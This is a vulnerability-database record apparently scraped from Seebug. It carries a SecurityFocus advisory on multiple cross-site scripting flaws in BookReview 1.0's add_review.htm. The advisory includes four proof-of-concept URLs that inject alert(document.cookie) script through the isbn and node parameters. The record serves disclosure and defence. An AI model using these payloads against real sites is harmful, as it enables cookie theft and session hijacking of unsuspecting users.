{"lastseen": "2017-11-19T13:38:38", "modified": "2014-07-01T00:00:00", "description": "No description provided by source.", "cvss": {"score": 0.0, "vector": "NONE"}, "published": "2014-07-01T00:00:00", "_object_type": "robots.models.seebug.SeebugBulletin", "status": "cve,poc", "enchantments": {"score": {"value": -0.1, "vector": "NONE", "modified": "2017-11-19T13:38:38"}, "dependencies": {"references": [], "modified": "2017-11-19T13:38:38"}, "vulnersScore": -0.1}, "href": "https://www.seebug.org/vuldb/ssvid-79382", "references": [], "history": [], "_object_types": ["robots.models.base.Bulletin", "robots.models.seebug.SeebugBulletin"], "enchantments_done": [], "id": "SSV:79382", "title": "BookReview 1.0 add_review.htm Multiple Parameter XSS", "bulletinFamily": "exploit", "reporter": "Root", "cvelist": [], "viewCount": 0, "sourceData": "\n source: http://www.securityfocus.com/bid/13783/info\r\n\r\nBookReview is prone to multiple cross-site scripting vulnerabilities. These issues are due to a failure in the application to properly sanitize user-supplied input.\r\n\r\nAn attacker may leverage these issues to have arbitrary script code executed in the browser of an unsuspecting user. This may facilitate the theft of cookie-based authentication credentials as well as other attacks. \r\n\r\nhttp://www.example.com/add_review.htm?isbn=0801052319&node=%3Cscript%3Ealert(document.cookie)%3C/script%3E&review=true\r\nhttp://www.example.com/add_review.htm?isbn=0801052319%22%3E%3Cscript%3Ealert(document.cookie)%3C/script%3E&node=Political_Science&review=true\r\nhttp://www.example.com/add_review.htm?isbn=0553278223&node="><script>alert(document.cookie)</script>&review=true\r\nhttp://www.example.com/add_review.htm?node=index&isbn=\\\\"><script>alert(document.cookie)</script>\n ", "sourceHref": "https://www.seebug.org/vuldb/ssvid-79382", "type": "seebug", "objectVersion": "1.4"}

{}